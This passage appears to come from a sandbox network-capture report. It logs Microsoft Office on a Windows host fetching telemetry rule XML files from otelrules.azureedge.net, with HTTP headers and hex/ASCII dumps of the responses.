2024-12-02 16:56:55 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:55 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:55 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: cf0c8647-701e-003e-063e-4079b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165655Z-174f784596886s2bhC1EWR743w00000014qg00000000kn72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:55 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:55 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:55 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 20c5b054-901e-0016-7725-44efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165655Z-174f78459685m244hC1EWRgp2c00000014n000000000460p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:55 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:55 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:55 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: df02ced2-c01e-0046-0352-442db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165655Z-174f7845968xlwnmhC1EWR0sv800000014dg00000000vq2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:56 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:56 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:56 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bf56a963-f01e-0096-46b4-4310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165656Z-174f7845968vqt9xhC1EWRgten00000014t000000000at9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:56 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:57 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:57 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 709e6de4-501e-00a3-7b5b-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165657Z-174f784596886s2bhC1EWR743w00000014p000000000t1kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:57 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:57 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: eea98567-901e-007b-3159-44ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165657Z-174f78459688l8rvhC1EWRtzr00000000h6000000000vmt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:57 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:57 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:58 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 0ad7255b-c01e-00ad-65a2-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165658Z-174f7845968qj8jrhC1EWRh41s00000014rg000000005c8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:58 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:58 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:58 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: a8b72aac-901e-005b-059f-432005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165658Z-174f7845968psccphC1EWRuz9s00000014yg00000000efqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:58 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:59 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:59 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 2554c198-401e-005b-1ab4-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165659Z-174f7845968vqt9xhC1EWRgten00000014r000000000ku2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:59 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:59 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:59 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 1fa9f6de-401e-0083-0aab-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165659Z-174f7845968cpnpfhC1EWR3afc000000149000000000m75c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:00 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:59 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:59 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 4b94b180-301e-0096-61b2-42e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165659Z-174f7845968j6t2phC1EWRcfe800000014y0000000005u4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:00 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:00 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
